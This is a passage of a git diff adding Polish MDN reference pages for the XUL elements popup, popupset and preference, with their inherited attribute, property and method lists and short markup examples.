href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobny" name="Podobny"> Podobny </h3>
+<p>TBD
+</p>
diff --git a/files/pl/mozilla/tech/xul/popup/index.html b/files/pl/mozilla/tech/xul/popup/index.html
new file mode 100644
index 0000000000..5b4e357b04
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/popup/index.html
@@ -0,0 +1,19 @@
+---
+title: popup
+slug: Mozilla/Tech/XUL/popup
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/popup
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div>
+<p>Element popup jest równoważny elementowi <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Zobacz dokumentację elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, aby zdobyć więcej informacji.</p>
+<p><span class="comment">Kontener, który pojawia się w dziecku okna (okno potomne). Okienko popup nie posiada żadnych specjalnych ramek. Okienko to może być wyświetlane, kiedy do naciśniętego elementu, za pomocą atrybutu <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> okienka popup są przydzielone inne atrybuty elementu m.in: <code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>, <code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code> lub <code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>. Popup jest typem pudełka, które domyślnie posiada orientację poziomą. Dodatkowe informacje są dostępne w <a href="/pl/Kurs_XUL/Wyskakujące_menu">kursie XUL</a>. Zakomentowaną treść pozostawiam tymczasowo (Ptak82)</span></p>
diff --git a/files/pl/mozilla/tech/xul/popupset/index.html b/files/pl/mozilla/tech/xul/popupset/index.html
new file mode 100644
index 0000000000..fc0eeb1e2c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/popupset/index.html
@@ -0,0 +1,104 @@
+---
+title: popupset
+slug: Mozilla/Tech/XUL/popupset
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/popupset
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>. Powinieneś zadeklarować wszystkie elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code> jako dzieci <code>popupset</code>. Ten element nie wyświetla się bezpośrednio na ekranie. Potomny popups będzie wyświetlony, kiedy zapytamy o niego poprzez inny elementy.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Wyskakuj%c4%85ce_menu">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_popup.png"></div>
+<pre>&lt;popupset&gt;
+ &lt;popup id="clipmenu"&gt;
+ &lt;menuitem label="Cut"/&gt;
+ &lt;menuitem label="Copy"/&gt;
+ &lt;menuitem label="Paste"/&gt;
+ &lt;/popup&gt;
+&lt;/popupset&gt;
+&lt;label value="Right click for popup" context="clipmenu"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/preference/index.html b/files/pl/mozilla/tech/xul/preference/index.html
new file mode 100644
index 0000000000..8b5b5d7744
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/preference/index.html
@@ -0,0 +1,268 @@
+---
+title: preference
+slug: Mozilla/Tech/XUL/preference
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/preference
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Deklaruje ustawienie, które może zostać zmienione w <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code>. Element ten musi być umieszczony wewnątrz elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/preferences" title="preferences">preferences</a></code>. Każdy element <code>preference</code> odpowiada ustawieniu, które przechowywane jest w pliku preferencji użytkownika. Możesz połączyć element interfejsu użytkownika, taki jak pole wyboru z elementem <code>preference</code> używając atrybutu <code id="a-preference"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference">preference</a></code> elementu interfejsu użytkownika.
+</p><p>Dodatkowe informacje są dostępne w artykule <a href="pl/System_preferencji">System preferencji</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-instantApply">instantApply</a>, <a href="#a-inverted">inverted</a>, <a href="#a-preference.name">name</a>, <a href="#a-onchange">onchange</a>, <a href="#a-readonly">readonly</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-preference.type">type</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-disabled">disabled</a>, <a href="#p-inverted">inverted</a>, <a href="#p-locked">locked</a>, <a href="#p-name">name</a>, <a href="#p-preference.preferences">preferences</a>, <a href="#p-readonly">readonly</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-type">type</a>, <a href="#p-value">value</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-hasUserValue">hasUserValue</a>, <a href="#m-reset">reset</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-instantApply">
+
+<dl><dt> <code id="a-instantApply"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/instantApply">instantApply</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, preferencje zostaną zmienione albo niebawem lub gdy interfejs użytkownika jest modyfikowany.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-inverted">
+
+
+<dl>
+ <dt><code id="a-inverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inverted">inverted</a></code></dt>
+ <dd>Typ:<em>boolean</em></dd>
+ <dd>Preferencje logiczne, jeśli ten atrybut jest ustawiony na <code>true</code>, to sygnalizuje, która wartość preferencji jest <strong>reverse of the user interface element attached to it. For instance, checking the checkbox disables the preference instead of enabling it.</strong></dd>
+</dl>
+</div>
+<div id="a-preference.name">
+
+<dl><dt> <a href="pl/XUL/Atrybut/preference.name">name</a>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Nazwa preferencji do zmiany. Na przykład strona startowa przeglądarki jest ustawiona z preferencją <code>browser.startup.homepage</code>.
+</dd></dl>
+
+
+</div>
+<div id="a-onchange">
+
+<dl><dt> <code id="a-onchange"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onchange">onchange</a></code>
+</dt><dd> Typ: <i>kod skryptu</i>
+</dd><dd> Kod w atrybucie <code>onchange</code> jest wywołany, kiedy wartość elementu jest zmieniana.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-readonly">
+
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-preference.type">
+
+<dl><dt> <a href="pl/XUL/Atrybut/preference.type">type</a>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Typ preferencji, która powinna posiadać jedną z poniższych wartości:
+</dd></dl>
+<ul><li> <code>bool</code>: Ustawienie logicznej wartości, jednej z dwóch; <code>true</code> lub <code>false</code>. Zazwyczaj <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code> będzie połączony z tą preferencją. </li><li> <code>int</code>: Liczba całkowita.
+</li><li> <code>string</code>: Łańcuch znakowy. </li><li> <code>unichar</code>: Łańcuch znaków Unicode.
+</li><li> <code>wstring</code>: Zlokalizowany łańcuch znaków. W tej sytuacji będzie zapisana ścieżka do pliku preferencji, która stanowi aktualną wartość preferencji.
+</li><li> <code>file</code>: Plik. Ścieżka pliku będzie przechowywana we preferencjach.
+</li></ul>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-inverted">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/inverted">inverted</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-inverted"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/inverted">inverted</a></code>.</dd>
+</dl></div>
+<div id="p-locked">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/locked">locked</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli <code>true</code>, to preferencje zostaną zabezpieczone i wyłączone z konfiguracji systemu, zabezpieczając zawartość przed zmianami. Własność jest tylko do odczytu.</dd>
+</dl></div>
+<div id="p-name">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/name">name</a></span></code></dt>
+ <dd>
